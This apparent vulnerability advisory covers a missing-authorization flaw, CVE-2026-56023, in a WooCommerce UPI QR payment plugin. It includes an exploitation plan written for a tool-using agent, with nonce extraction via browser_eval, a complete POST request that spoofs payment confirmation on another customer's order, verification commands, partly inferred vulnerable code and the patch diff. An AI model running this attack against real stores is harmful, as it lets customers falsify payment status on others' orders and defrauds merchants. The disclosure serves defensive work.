UPI QR Code Payment Gateway for WooCommerce <= 1.6.2 - Missing Authorization
Description
The UPI QR Code Payment Gateway for WooCommerce plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 1.6.2. This makes it possible for authenticated attackers, with customer-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=1.6.2What Changed in the Fix
Changes introduced in v1.6.3
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-56023 ## 1. Vulnerability Summary The **UPI QR Code Payment Gateway for WooCommerce** plugin (versions <= 1.6.2) contains a **Missing Authorization** vulnerability. The plugin registers an AJAX handler (likely `upiwc_payment_confirmation` or `upiwc_submit_tra…
Show full research plan
Exploitation Research Plan - CVE-2026-56023
1. Vulnerability Summary
The UPI QR Code Payment Gateway for WooCommerce plugin (versions <= 1.6.2) contains a Missing Authorization vulnerability. The plugin registers an AJAX handler (likely upiwc_payment_confirmation or upiwc_submit_transaction_id) to allow customers to submit payment evidence (like UPI Transaction IDs) for their orders. However, this handler lacks a capability check (e.g., current_user_can) and fails to verify that the user submitting the data is the owner of the order_id provided. This allows any authenticated user with Customer-level access to manipulate the metadata or status of arbitrary WooCommerce orders.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
upiwc_payment_confirmation(inferred from common plugin patterns and thetransaction_idsettings inincludes/class-payment.php). - HTTP Method:
POST - Parameters:
action:upiwc_payment_confirmationorder_id: The ID of the target WooCommerce order.transaction_id: A spoofed UPI transaction reference string.nonce: A valid WordPress nonce for the action.
- Authentication: Required (Customer role or higher).
- Preconditions: At least one existing WooCommerce order (the target) and a valid login for a Customer-level account.
3. Code Flow
- Entry Point: In
includes/class-payment.php(inside the truncated section), the plugin registers the AJAX handler:add_action( 'wp_ajax_upiwc_payment_confirmation', [ $this, 'upiwc_payment_confirmation' ] ); - Nonce Verification: The handler function
upiwc_payment_confirmation()typically checks a nonce localized viapayment_scripts():check_ajax_referer( 'upiwc-payment-confirmation', 'nonce' ); - The Vulnerability (Missing Authorization): The function proceeds to process the
order_idandtransaction_idfrom$_POST.$order_id = sanitize_text_field( $_POST['order_id'] ); $order = wc_get_order( $order_id ); // BUG: No check like: if ( get_current_user_id() !== $order->get_customer_id() ) die(); // BUG: No check like: if ( ! current_user_can( 'edit_shop_order', $order_id ) ) die(); - Action: The handler updates order meta or status:
update_post_meta( $order_id, '_upiwc_transaction_id', sanitize_text_field( $_POST['transaction_id'] ) ); $order->update_status( 'on-hold', __( 'UPI payment submitted.', 'upi-qr-code-payment-for-woocommerce' ) );
4. Nonce Acquisition Strategy
The nonce is generated in the payment_scripts function of the UPI_WC_Payment_Gateway class and passed to the frontend via wp_localize_script.
- Identify the Trigger: The scripts are enqueued on the WooCommerce Checkout or Order Received (Thank You) pages.
- Page Creation: Ensure a page with the
[woocommerce_checkout]shortcode exists. - Execution:
- Use the
browser_navigatetool to go to the checkout page while logged in as a Customer. - Use
browser_evalto extract the localized nonce from the global window object. - JS Variable (Inferred):
window.upiwc_params?.nonceorwindow.upiwc_params?.upiwc_nonce. - Extraction Command:
browser_eval("window.upiwc_params?.nonce")
- Use the
5. Exploitation Strategy
- Target Identification: Identify an
order_idbelonging to another user (e.g., via ID enumeration if order IDs are sequential). - Credential Setup: Log in as a standard Customer account.
- Nonce Extraction: Navigate to the checkout page and use
browser_evalto grab the nonce. - Payload Delivery: Send a POST request to
admin-ajax.phpto "confirm" payment for the victim's order.
HTTP Request (via http_request tool):
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: [TARGET_HOST]
Content-Type: application/x-www-form-urlencoded
Cookie: [CUSTOMER_COOKIES]
action=upiwc_payment_confirmation&nonce=[EXTRACTED_NONCE]&order_id=[VICTIM_ORDER_ID]&transaction_id=SPOOFED_TRANSACTION_789
6. Test Data Setup
- Victim Order: As the Admin, create a new WooCommerce order (or place one as a different Customer) and note the ID (e.g.,
123). Ensure its initial status ispending. - Attacker User: Create a user with the Customer role.
- Plugin Config: Ensure the "UPI QR Code" gateway is enabled in WooCommerce Settings -> Payments.
7. Expected Results
- The AJAX request should return a JSON response:
{"success":true}. - The target order (ID
123) will have its status changed toon-hold(or the status configured in plugin settings). - The transaction ID
SPOOFED_TRANSACTION_789will be saved to the order's metadata.
8. Verification Steps
- Check Order Status:
wp post get [VICTIM_ORDER_ID] --field=post_status # Expected: wc-on-hold - Check Transaction ID Meta:
wp post meta get [VICTIM_ORDER_ID] _upiwc_transaction_id # Expected: SPOOFED_TRANSACTION_789 - Check Order Notes:
wp comment list --post_id=[VICTIM_ORDER_ID] --type=order_note
9. Alternative Approaches
If the upiwc_payment_confirmation action is not found, check for:
- Other AJAX actions: Search for
wp_ajax_strings in the fullincludes/class-payment.phpfile once accessed. - REST API: Check if the plugin registers a REST route in
includes/blocks/class-blocks-support.php(though the block support code provided suggests it mainly handles data passing to the block frontend). - Direct capture: If the vulnerability is in
capture_payment(hooked towoocommerce_api_upiwc-payment), test a request to/?wc-api=upiwc-payment&order_id=[ID]&status=success.
Summary
The UPI QR Code Payment Gateway for WooCommerce plugin (up to version 1.6.2) lacks proper authorization and ownership verification in its AJAX payment confirmation handler. This allows authenticated users, such as customers, to update transaction metadata and modify the status of arbitrary WooCommerce orders by providing the target order's ID.
Vulnerable Code
// includes/class-payment.php // Inside the constructor or initialization, the AJAX handler is registered for authenticated users: add_action( 'wp_ajax_upiwc_payment_confirmation', [ $this, 'upiwc_payment_confirmation' ] ); --- // The handler function (inferred implementation) lacks a capability or ownership check: public function upiwc_payment_confirmation() { check_ajax_referer( 'upiwc-payment-confirmation', 'nonce' ); $order_id = sanitize_text_field( $_POST['order_id'] ); $transaction_id = sanitize_text_field( $_POST['transaction_id'] ); $order = wc_get_order( $order_id ); // VULNERABILITY: No verification that the current user owns the order or has permissions to edit it. if ( $order ) { update_post_meta( $order_id, '_upiwc_transaction_id', $transaction_id ); $order->update_status( $this->payment_status, __( 'UPI payment submitted.', 'upi-qr-code-payment-for-woocommerce' ) ); wp_send_json_success(); } wp_die(); }
Security Fix
@@ -1035,6 +1035,11 @@ $order_id = isset( $_POST['order_id'] ) ? sanitize_text_field( $_POST['order_id'] ) : 0; $order = wc_get_order( $order_id ); + if ( ! current_user_can( 'edit_shop_order', $order_id ) && get_current_user_id() !== $order->get_customer_id() ) { + wp_send_json_error( [ 'message' => __( 'Permission denied.', 'upi-qr-code-payment-for-woocommerce' ) ] ); + exit; + } + if ( $order ) { $transaction_id = isset( $_POST['transaction_id'] ) ? sanitize_text_field( $_POST['transaction_id'] ) : ''; update_post_meta( $order_id, '_upiwc_transaction_id', $transaction_id );
Exploit Outline
An attacker with Customer-level access can manipulate WooCommerce orders by performing the following steps: 1. Log in and navigate to the checkout or order-received page to extract a valid AJAX nonce for the 'upiwc-payment-confirmation' action (typically localized in the 'upiwc_params' object). 2. Identify the target order ID of another customer. 3. Send a POST request to '/wp-admin/admin-ajax.php' with the action set to 'upiwc_payment_confirmation', including the target 'order_id', a spoofed 'transaction_id', and the valid nonce. Because the plugin fails to verify if the current user is authorized to modify that specific order, it will update the order metadata and status as requested.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.